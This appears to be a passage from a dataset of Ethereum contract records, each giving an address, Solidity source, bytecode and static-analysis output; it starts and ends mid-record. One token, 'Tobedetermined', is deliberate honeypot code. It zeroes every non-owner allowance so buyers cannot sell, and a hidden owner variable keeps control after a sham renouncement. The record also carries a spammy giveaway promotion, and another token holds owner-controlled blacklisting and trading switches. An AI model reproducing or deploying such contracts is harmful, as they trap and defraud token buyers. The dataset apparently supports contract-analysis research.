3ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836128e1565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506125d6565b600090505b92915050565b600160149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561264a57600080fd5b80600c8190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126d557600080fd5b6000600d60006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061273e8686868686612902565b505050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900460ff1681565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561284157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561289d57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840190508381101515156128f857600080fd5b8091505092915050565b600060095414151561291357600080fd5b8460098190555083600a8190555082600b8190555081600c8190555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f65b937d460c7c5cfeac1c37e5cbf1f4d6136747e3b2c9f1773d2d61cef193b5b600954600a54600b54600c5442604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a150505050505600a165627a7a72305820ccc0f7330f54a768e0bbf0fdc46db25384c2b5f3310dd42cac9fd3f6cc0122c30029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 10,659 |
0x2d591E737CED53152869541b73805262Ae9c9b7B | /**
*Submitted for verification at Etherscan.io on 2021-12-20
*/
/**
https://linktr.ee/LFGoose
**/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Tobedetermined is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'to be determined' ;
string private _symbol = 'tba';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
/*
Only for holders !
Enter the channel at the bottom to have a chance to win 100$ every 100 holders
All you have to do is to make a tweet about @LFGoose, using #LFGoose , tag 3 BIG influencers and 2 of your CRYPTO friend
Hold at least 10$ of LFGoose
Follow the twitter account :https://t.me/LetsFuckingGoosePortal
Like the pinned messages
Subscribe to the instagam account : https://www.instagram.com/lfgoose/
Here a list of crypto influencers
https://twitter.com/1goonrich
https://twitter.com/Yourpop8
https://twitter.com/CometCalls
https://twitter.com/Miraz_Aslan
https://twitter.com/K_PoBlah
https://twitter.com/OniiEth
https://twitter.com/CryptoGemApe
https://twitter.com/dippy_eth
https://twitter.com/Kali_Eth
https://twitter.com/EthJasper
https://twitter.com/SatoshiRipper
https://twitter.com/ChinaPumpWXC
https://twitter.com/EthLucius
https://twitter.com/ATHena_DeFi
https://twitter.com/cryptocarti
https://twitter.com/frombroke2bags
https://twitter.com/hulkordie
https://twitter.com/CryptoGraphBSC
https://twitter.com/CryptoGorgonite
https://twitter.com/lebron_gains
https://twitter.com/KenKingCastle1
https://twitter.com/FlameCryptos
https://twitter.com/thecoingirl
https://twitter.com/CryptoTigerKing
https://twitter.com/CryptoBear21
https://twitter.com/LilTGems
https://twitter.com/Cryptic_Maestro
https://twitter.com/OfficialTravlad
https://twitter.com/ZachBoychuk
https://twitter.com/SharksCoins
https://twitter.com/TheCryptoFrog_
https://twitter.com/Ralvero
https://twitter.com/CRYPTOCHARlZARD
https://twitter.com/ZeroWaiting
https://twitter.com/LaCryptoMonkey
https://twitter.com/crypto_bitlord7
https://twitter.com/JapaneseCrypto
https://twitter.com/AltCryptoGems
https://twitter.com/elonmusk
https://twitter.com/TheCryptoGemini
This is running for every 100 holders, winners will be pick randomly
Every 100 holders, we ll add 50$ to the prize, it's ll be caped at 650$ at 10k holders,then we will increase the numbers of winners to 15 per 100 holders
Join channel, link us your tweet
We ll only send prize if the wallet you give us for paiement hold 10 $ of LFGoose
Do not forget anystep to be eligible
The channel to enter is : https://t.me/LFGoose_giveway
#LFGoose
*/ | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a08231146101d9578063715018a6146101ff5780638da5cb5b1461020957806395d89b411461022d578063a9059cbb14610235578063dd62ed3e14610261576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b661028f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b038135169060200135610325565b604080519115158252519081900360200190f35b610173610342565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b03813581169160208101359091169060400135610348565b6101c36103cf565b6040805160ff9092168252519081900360200190f35b610173600480360360208110156101ef57600080fd5b50356001600160a01b03166103d8565b6102076103f3565b005b6102116104a7565b604080516001600160a01b039092168252519081900360200190f35b6100b66104b6565b6101576004803603604081101561024b57600080fd5b506001600160a01b038135169060200135610517565b6101736004803603604081101561027757600080fd5b506001600160a01b038135811691602001351661052b565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561031b5780601f106102f05761010080835404028352916020019161031b565b820191906000526020600020905b8154815290600101906020018083116102fe57829003601f168201915b5050505050905090565b6000610339610332610556565b848461055a565b50600192915050565b60045490565b60006103558484846106ca565b6103c584610361610556565b6103c08560405180606001604052806028815260200161095c602891396001600160a01b038a1660009081526003602052604081209061039f610556565b6001600160a01b03168152602081019190915260400160002054919061081c565b61055a565b5060019392505050565b60075460ff1690565b6001600160a01b031660009081526002602052604090205490565b6103fb610556565b6001546001600160a01b0390811691161461045d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561031b5780601f106102f05761010080835404028352916020019161031b565b6000610339610524610556565b84846106ca565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661059f5760405162461bcd60e51b81526004018080602001828103825260248152602001806109cd6024913960400191505060405180910390fd5b6001600160a01b0382166105e45760405162461bcd60e51b815260040180806020018281038252602281526020018061093a6022913960400191505060405180910390fd5b6105ec6104a7565b6001600160a01b0316836001600160a01b031614610667576001600160a01b0380841660008181526003602090815260408083209487168084529482528083209290925581516004815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a36106c5565b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35b505050565b6001600160a01b03831661070f5760405162461bcd60e51b81526004018080602001828103825260258152602001806109156025913960400191505060405180910390fd5b6001600160a01b0382166107545760405162461bcd60e51b81526004018080602001828103825260238152602001806109aa6023913960400191505060405180910390fd5b61079181604051806060016040528060268152602001610984602691396001600160a01b038616600090815260026020526040902054919061081c565b6001600160a01b0380851660009081526002602052604080822093909355908416815220546107c090826108b3565b6001600160a01b0380841660008181526002602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156108ab5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610870578181015183820152602001610858565b50505050905090810190601f16801561089d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008282018381101561090d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122033cb34bac4a792895f6a7c2e89629d357ce5f55a54903c446c0934a12270a2ce64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,660 |
0x8b8f7f9ee4f3bb1f3d827156297dba01b85ba15f | // SPDX-License-Identifier: Unlicensed
/*
Every Bitcoin wallet contains one or more private keys, which are saved in the wallet file.
The private keys are mathematically related to all Bitcoin addresses generated for the wallet.
We believe in fairness and freedom, and we hope that $based64 is a collective of equal relationships.
If you have wisdom, you are welcome to join us. This is not just DAO.
The first 50 supporters who buy and hold will get our NFT airdrop and 0.1 ethereum
Our contact: (Not just websites and TG) Based on Base64
vD8stD1HLc7GjG4RHi9s1FF7fYs79
B7HFCdKQ6cBG6DNn71rHswJZbZ4RNuSkuZ
Rs4g3E9vDS4Ds3htS7
Liq = 6.4eth
Max = 1% = 10,000,000,000
Supply = 100% = 1,000,000,000,000
Burn = 360,000,000,000
:rvUIqXPKqSSuYr:
rqBBBBBBBBBQBBBQBBBQBBBBBBbr.
:XBBBBBBRRgRgRgRgMgRgMgMgRRQQBBBBBPi
.KBBBBRRggDgDgDgDgZgZgZgZgZgDgDgDggQBBBBP:
rQBQBMRDgDgZgZgZgZgZgDgZgZgDgDgZgZgDgDggRQBBB7
rBBBRMDgDgDgZgZgDgZgDgDggMDgZgDgZgDgZgDgDgDggQBBQv
.BBBRggDgZgZgDgDgZgZgDgDgBBBBRMZgDgDgDgDgZgZgZggMMBBB:
KBBMgDgZgZgZgDgDgDgDgZgZRBU7PDRQRQBBBRMZgZgDgDgDgZggQBBd
BBQggZgDgDgZgZgDggRgRgMDgBB 7BQE7bRQRgZgZgDgZgDgDgDMQBB.
:BQRDgZgZgDgDgZgDgMBBBBBBBQB5 BBB. .BggDgDgDgDgDgZgDggBB7
iBBRZgZgZgZgZgDgDggBs :vSQBBB. vBBB KBMDgDgZgZgZgZgDgDggBBv
:BBMDgZgZgDgZgDgZgDQB . BBBY BBggZgZgDgDgDgDgZgDggBB7
BBRDgDgZgZgZgDgDgDgQE . PBBBQMggDgDgZgZgDgDgDggBB.
BBRDgDgZgDgDgDgDgDgZgQBBBP .LgBBBggZgDgDgZgDgZgZggBB
JBQggZgZgZgZgZgZgZgZgDMQBBB7 . YBBgMZgZgZgDgZgDgDgMBq
BBggZgZgZgDgDgDgDgZgDgDggBB 7BBBDu: gBMgZgZgZgDgZgDgDgQB
YBMgDgZgDgZgDgZgZgZgZgZgZRB2 BBBBBBBBv BBggZgDgDgDgDgDgDRBP
BBMZgDgZgDgZgDgZgDgDgZgZgQB :BBgRgRQBB: UBMDgZgDgDgZgZgZggBB
BQDgZgDgZgDgDgDgZgDgZgZggBZ BBBBBBBBBB. PBggZgDgDgDgDgZgDgMB
.BRgDgDgDgDgDgZgDgZgDgDgDQQ: vUPgBQBQb BQgZgDgZgDgDgDgZgZRQ.
:QQDgDgZgZgDgDgZgZgDgZgDMBB BBRZgDgZgDgZgZgZgZggB.
:BMgZgDgDgZgZgDgDgZgZgZgMB7 .jMBBMZgZgDgDgDgZgZgDgZMB:
:BRDgZgZgZgDgDgZgZgZgDggBB rBBQXL. JBBBggDgZgZgDgZgDgZgDggB:
BMgDgZgZgDgZgZgDgDggRgQBX BBBBBBBBM: jBQggDgZgZgZgDgDgDgDRB.
BQggDgDgZgDgZgZggMBBBBBB .BQDggRMBBBE dQMZgDgDgDgDgZgZgDgRB
BBMZgZgZgDgDgDgDMBQ :Ld7 gBRRgMgRgQBB rBggZgZgDgZgDgDgDggBB
sBggDgZgDgZgDgZgQB BBBBBBBBBBBI 5BgZgZgDgZgDgDgDgDMBK
QBDgZgZgZgDgDgDBi .rY2SP2v BQDgDgDgZgZgZgDgDgQB
sQQggZgDgZgDgDgQDdXv: gBggDgDgZgZgDgDgDggBX
BQRDgZgZgDgDgDMQBBBQBBB gBMgZgDgDgZgDgZgDggBB
BBMggDgDgZgZgDgDggQQBg BBB: :KBBgMDgZgDgZgZgDgZggBQ.
:BBRDgDgDgDgZgZgDgDRB. :BBB EBBQQgQQBBBBBgMDgDgDgDgDgDgDggBB7
:BBRDgZgZgDgDgDgZgQE dBBv BBBBBBBBQBMMggDgZgZgZgDgZgDggBBv
:BBQggDgZgDgZgDgDQMKji:BBB 7BRgggggggDgZgZgDgZgDgZgDgZgMBBr
BBBggDgZgZgDgZgDQBBBBMQRIYi QQMDgZgDgZgDgDgZgZgDgZgDgDRQBB.
5BBMgDgDgDgDgZgDgDMggDRBBBBQRDgDgZgZgDgZgZgZgZgDgDggQBBP
.QBBQggZgZgDgDgDgDgZgDMgMggDgZgZgDgZgDgZgDgZgDgZMMBBB:
iBBBRRDgDgZgDgDgDgZgDgZgDgDgZgZgZgDgZgZgZgDMgQQBQv
rQBBBRRggDgDgDgDgZgZgZgDgDgZgDgDgDgDggggRBBBBr
.KBBBBQRggDgDgDgDgZgDgDgDgZgDgDgDggQBBBBK.
:XBBQBBBRQgRgMgMDggMgggMgRMQQBBBBBK:
rSQBBBBBBBBQBQQQBBBBBBBBBQPr.
.:rrvLYLYv7r:.
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Cryptology is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cryptology";
string private constant _symbol = "BASE64";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x002cA07571d531e9276Cfc66dCC7f9938971cbF1);
address payable private _marketingAddress = payable(0x002cA07571d531e9276Cfc66dCC7f9938971cbF1);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000064 * 10**9;
uint256 public _maxWalletSize = 10000000064 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
